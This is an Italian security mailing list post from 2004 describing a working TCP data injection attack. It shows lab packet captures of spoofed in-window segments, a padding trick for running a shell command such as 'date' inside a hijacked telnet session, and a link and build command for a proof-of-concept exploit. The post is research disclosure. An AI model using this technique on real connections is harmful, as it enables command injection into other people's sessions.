
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
Archivio: Maggio 2004 ml@sikurezza.org Soggetto: TCP injection Mittente: eazy Data: 3 May 2004 07:11:16 -0000
Nell'advisory che riportava la vulnerabilità *scoperta* da Watson si può leggere: "Data injection may be possible. However, this has not been demonstrated and appears to be problematic." A mio avviso un attacco di injection non è poi così improponibile come sembra. Tutto ciò di cui abbiamo bisogno sono le stesse informazioni necessarie per eseguire il reset descritto da Watson e una minima dose di *fortuna* per indovinare un sequence number all'interno della window ovvero il cui valore si trova nel range: sequence number atteso <= seq <= sequence number atteso + window size Personalmente ho eseguito alcuni test su una linux box con kernel 2.4.18 e la cosa sembra funzionare. Il test è stato condotto in questo modo: Host A: è il server su cui ho eseguito nc -l -p 23 Host B: è il client su cui ho eseguito telnet A 23 Host C: è la macchina da cui parte l'attacco L'host B stabilisce una connessione con A. L'attacco si svolge con le stesse modalità utilizzate nell'attacco descritto da Watson, ciò che cambia è il tipo di pacchetto inviato. Questa volta, infatti, non invieremo un pacchetto TCP con flag RST o SYN settato bensì un pacchetto con flag PUSH settato e un payload con i dati che desideriamo iniettare. # tcpdump -nS port 23 tcpdump: listening on eth0 Come prima cosa l'host B (192.168.1.5) stabilisce una connessione con l'host A (192.168.1.6): 19:08:18.296874 192.168.1.5.32777 > 192.168.1.6.23: S 4103950798:4103950798(0) win 5840 <mss 1460,sackOK,timestamp 165427[|tcp]> (DF) [tos 0x10] 19:08:18.297132 192.168.1.6.23 > 192.168.1.5.32777: S 3515303666:3515303666(0) ack 4103950799 win 5792 <mss 1460,sackOK,timestamp 114458[|tcp]> (DF) 19:08:18.297162 192.168.1.5.32777 > 192.168.1.6.23: . ack 3515303667 win 5840 <nop,nop,timestamp 165427 114458> (DF) [tos 0x10] su telnet che gira sul client digitiamo la frase "riga di prova" che verrà inviata al server che la visualizzerà nel terminale 19:08:29.045002 192.168.1.5.32777 > 192.168.1.6.23: P 4103950799:4103950814(15) ack 3515303667 win 5840 <nop,nop,timestamp 166502 114458> (DF) [tos 0x10] 19:08:29.045216 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950814 win 5792 <nop,nop,timestamp 115533 166502> (DF) proviamo a iniettare 300 caratteri 'a' all'interno dello stream tcp dall'host C spoofando l'ip sorgente e usando un sequence number 4103951000 che si trova all'interno della window: 19:09:53.127765 192.168.1.5.32777 > 192.168.1.6.23: P 4103951000:4103951302(302) win 31337 l'host A ci risponde con un ack 4103950814 il che vuol dire che il prossimo pacchetto che si aspettava di ricevere avrebbe dovuto avere un sequence number 4103950814 e non quello che abbiamo inviato noi. Ad ogni modo il pacchetto malizioso visto che rientra nella window non viene scartato bensì viene memorizzato 19:09:53.128223 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950814 win 5792 <nop,nop,timestamp 123941 166502,nop,nop,[|tcp]> (DF) ora l'host B invia diversi pacchetti di 80 byte contenenti sequenze di caratteri 'o' 19:15:15.234207 192.168.1.5.32777 > 192.168.1.6.23: P 4103950814:4103950897(83) ack 3515303667 win 5840 <nop,nop,timestamp 207121 123941> (DF) [tos 0x10] 19:15:15.234480 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950897 win 5792 <nop,nop,timestamp 156151 207121,nop,nop,[|tcp]> (DF) 19:15:21.990199 192.168.1.5.32777 > 192.168.1.6.23: P 4103950897:4103950980(83) ack 3515303667 win 5840 <nop,nop,timestamp 207797 156151> (DF) [tos 0x10] 19:15:21.990652 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103950980 win 5792 <nop,nop,timestamp 156827 207797,nop,nop,[|tcp]> (DF) 19:15:29.662549 192.168.1.5.32777 > 192.168.1.6.23: P 4103950980:4103951063(83) ack 3515303667 win 5840 <nop,nop,timestamp 208564 156827> (DF) [tos 0x10] l'host A risponde con ack 4103951302 e non con 4103951063 come ci saremmo attesi! Questo perchè il pacchetto malizioso dal sequence number elevato è stato accodato all'interno dello stream tcp. Da qui in poi la sessione viene desincronizzata e non è possibile proseguire, ad ogni modo siamo riusciti ad iniettare 300 byte nello stream tcp. 19:15:29.662821 192.168.1.6.23 > 192.168.1.5.32777: . ack 4103951302 win 5792 <nop,nop,timestamp 157594 208564,nop,nop,[|tcp]> (DF) Ecco come appaiono le due sessione telnet e netcat: # telnet 192.168.1.6 23 Trying 192.168.1.6... Connected to 192.168.1.6. Escape character is '^]'. riga di prova ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo # nc -l -p 23 riga di prova ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Vediamo di semplificare un po'. 1) L'host A è il server ed è in attesa del pacchetto dal SN (sequence number) 100; 2) L'attacker invia un pacchetto con SN 110, all'intero della window, che contiene i dati da iniettare che sono rappresentati dalla seguente stringa "0123456789"; 3) L'host B (il client) invia la seguente stringa di 13 byte "aaaaaaaaaaaaa"; 4) Lo stack della macchina A concatena i due pacchetti in questo modo: "aaaaaaaaaaaaa3456789" ovvero si mangia alcuni byte del pacchetto successivo; Dunque siamo in grado di iniettare una sequenza di byte arbitraria nel flusso TCP. Ma c'è ancora un problema, alcuni byte vengono *mangiati* quando i due pacchetti vengono concatenati. Mettiamo che io voglia eseguire un comando in una sessione telnet, potrei inviare un pacchetto con SN che cade all'interno della window che contenga il mio comando. Ma chi mi garantisce che una volta concatenati i due pacchetti il mio comando non venga parzialmente o totalmente sovrascritto. Per risolvere anche questo problema posso usare degli stratagemmi a seconda del protocollo applicativo a cui devo inviare comandi. Esempio, se devo eseguire il comando "date" in una sessione telnet invierò una stringa tipo: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;date\n La shell ritornerà un errore e poi eseguirà il comando. diciamo che la sequenza di 'a' riveste un po' lo stesso scopo dei NOP 0x90 in uno shellcode :) Non sappiamo esattamente come verranno concatenati i pacchetti perciò ci diamo un po' di margine bash: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found Sat May 1 20:03:36 UTC 2004 Potete trovare un exploit proof of concept al seguente indirizzo: http://alternauts.altervista.org/tcp_inject.c gcc tcp_inject.c -lnet Per compilarlo servono le libnet 1.1.x. ciao eazy ________________________________________________________ http://www.sikurezza.org - Italian Security Mailing List
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005